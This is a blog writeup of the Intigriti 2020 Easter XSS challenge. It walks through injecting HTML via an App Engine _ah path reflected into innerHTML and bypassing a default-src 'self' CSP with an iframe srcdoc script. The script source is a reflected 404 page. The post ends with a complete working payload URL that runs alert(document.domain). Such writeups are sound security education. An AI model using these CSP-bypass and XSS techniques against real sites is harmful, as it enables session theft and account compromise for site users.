Intigriti 2020 Easter XSS challenge writeup
This Easter intigrity ran an xss challenge. Out of all correct submissions they drew one winner to get a Burp Suite Pro License. I wasn’t the lucky one (congrats entrophy!) but solving this challenge was a lot of fun! so I decided to post this writeup and share some things I’ve learned about bypassing CSP.
Step 0. The challenge.
So, the challenge was to find xss on a rather simple page hosted on: https://challenge.intigriti.io/. The rules for the solution were:
- Should work on the latest version of Firefox or Chrome
- Should bypass CSP
- Should execute the following JS: alert(document.domain)
- Should be executed on this page, on this domain
CSP was set in headers to:
content-security-policy: default-src 'self'
so nothing except of <script src="./....">
was allowed and there was only one js file used on the page:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
var hash = document.location.hash.substr(1);
if(hash){
displayReason(hash);
}
document.getElementById("reasons").onchange = function(e){
if(e.target.value != "")
displayReason(e.target.value);
}
function reasonLoaded () {
var reason = document.getElementById("reason");
reason.innerHTML = unescape(this.responseText);
}
function displayReason(reason){
window.location.hash = reason;
var xhr = new XMLHttpRequest();
xhr.addEventListener("load", reasonLoaded);
xhr.open("GET",`./reasons/${reason}.txt`);
xhr.send();
}
Step 1. Injecting arbitrary html.
The quick look at the code shows us that we have an execution sink at line 11. But can we control the data that flows into this sink? Well, partially as it is an unescape
d response from xhr request for which we can determine part of url using location.hash
source (lines 14 and 17).
The unescape funciton basically reverts efects of escape
, for example:
unescape('%23hello%2f') === "#hello/"
Therefore, it’d be wonderful if we could find any endpoint that would reflect url-encoded strings to inject anything we want into reason
’s innerHTML.
A bit of fuzzing with dirsearch reveals that paths that start with challenge.intigriti.io/_ah
behave differently than other paths for non-existing resources, they reflect url-encoded strings. Bingo!
For example: https://challenge.intigriti.io/_ah%3Ch1%3Ehello%3C/h1%3E was giving us:
...
<h2>Your client does not have permission to the requested URL <code>/_ah%3Ch1%3Ehello%3C/h1%3E</code>
...
Great!
Moreover, using ../
in location.hash
we are able to put response generated by ./_ah...
in our innerHTML
execution sink.
Now we are able to inject any html on our page. Let’s say we want to inject <h1>hello</h1>
. All we need to do is to simply use the following url:
https://challenge.intigriti.io/#../_ah%3C/code%3E%3Ch1%3Ehello%3C/h1%3E
(note that we are also closing <code>
tag, that is present in response here)
Unfortunately, due to default-src 'self'
csp, we cannot just inject <img src=something onerror=alert(document.domain)>
and call it a day.
fun fact
Using this _ah
was not an intended way to solve this challenge. This behaviour was caused by _ah
being one of the reserved url’s of app engine which hosted this challenge.
Step 2. Injecting <script src=...>
innerHTML
let’s us do a lot of cool things but it won’t enable us to execute code using <script>
tag so we need to find another way.
After trying lot’s of different stuff I’ve found srcdoc attribute of iframe useful. We can simply create an iframe with <script src="https://example.com/our_script.js"></script>
via srcdoc in the following way:
<iframe
srcdoc="<script src=https://example.com/our_script.js></script>"
></iframe>
and inject it using the method from step 1.:
https://challenge.intigriti.io/#../_ah%3Ciframe%20srcdoc=%22%26lt%3bscript%20src=https://example.com/our_script.js%26gt%3b%26lt%3b%2fscript%26gt%3b%22%3E%3C/iframe%3E
But again, csp won’t let us to execute anything outside of challenge.intigriti.io
:
Content Security Policy: The page’s settings blocked the loading of a resource at https://example.com/our_script.js (“default-src”).
Step 3. Crafting payload with https://challenge.intigriti.io/ origin.
We are missing one last thing to execute our JS. We need to have a script somewhere under https://challenge.intigriti.io/
.
What happens when we try to access a random path on https://challenge.intigriti.io/ ?
https://challenge.intigriti.io/foobar responds with:
404 - 'File "foobar" was not found in this folder.'
Nice. Can we turn it into a valid JS file? Yes! and
https://challenge.intigriti.io/';alert(document.domain)';
responds with:
404 - 'File "';alert(document.domain)';" was not found in this folder.'
Which is a payload we needed!
Step 4. Putting all pieces together.
Now we have everything we need to get our reflected XSS. The following url executes alert(document.domain)
on https://challenge.intigriti.io/ :
https://challenge.intigriti.io/#../_ah%3C/code%3E%3Ciframe%20srcdoc=%22%26lt%3bscript%20src=foo/';alert(document.domain);'%26gt%3b%26lt%3b%2fscript%26gt%3b%22%3E%3C/iframe%3E
Voila!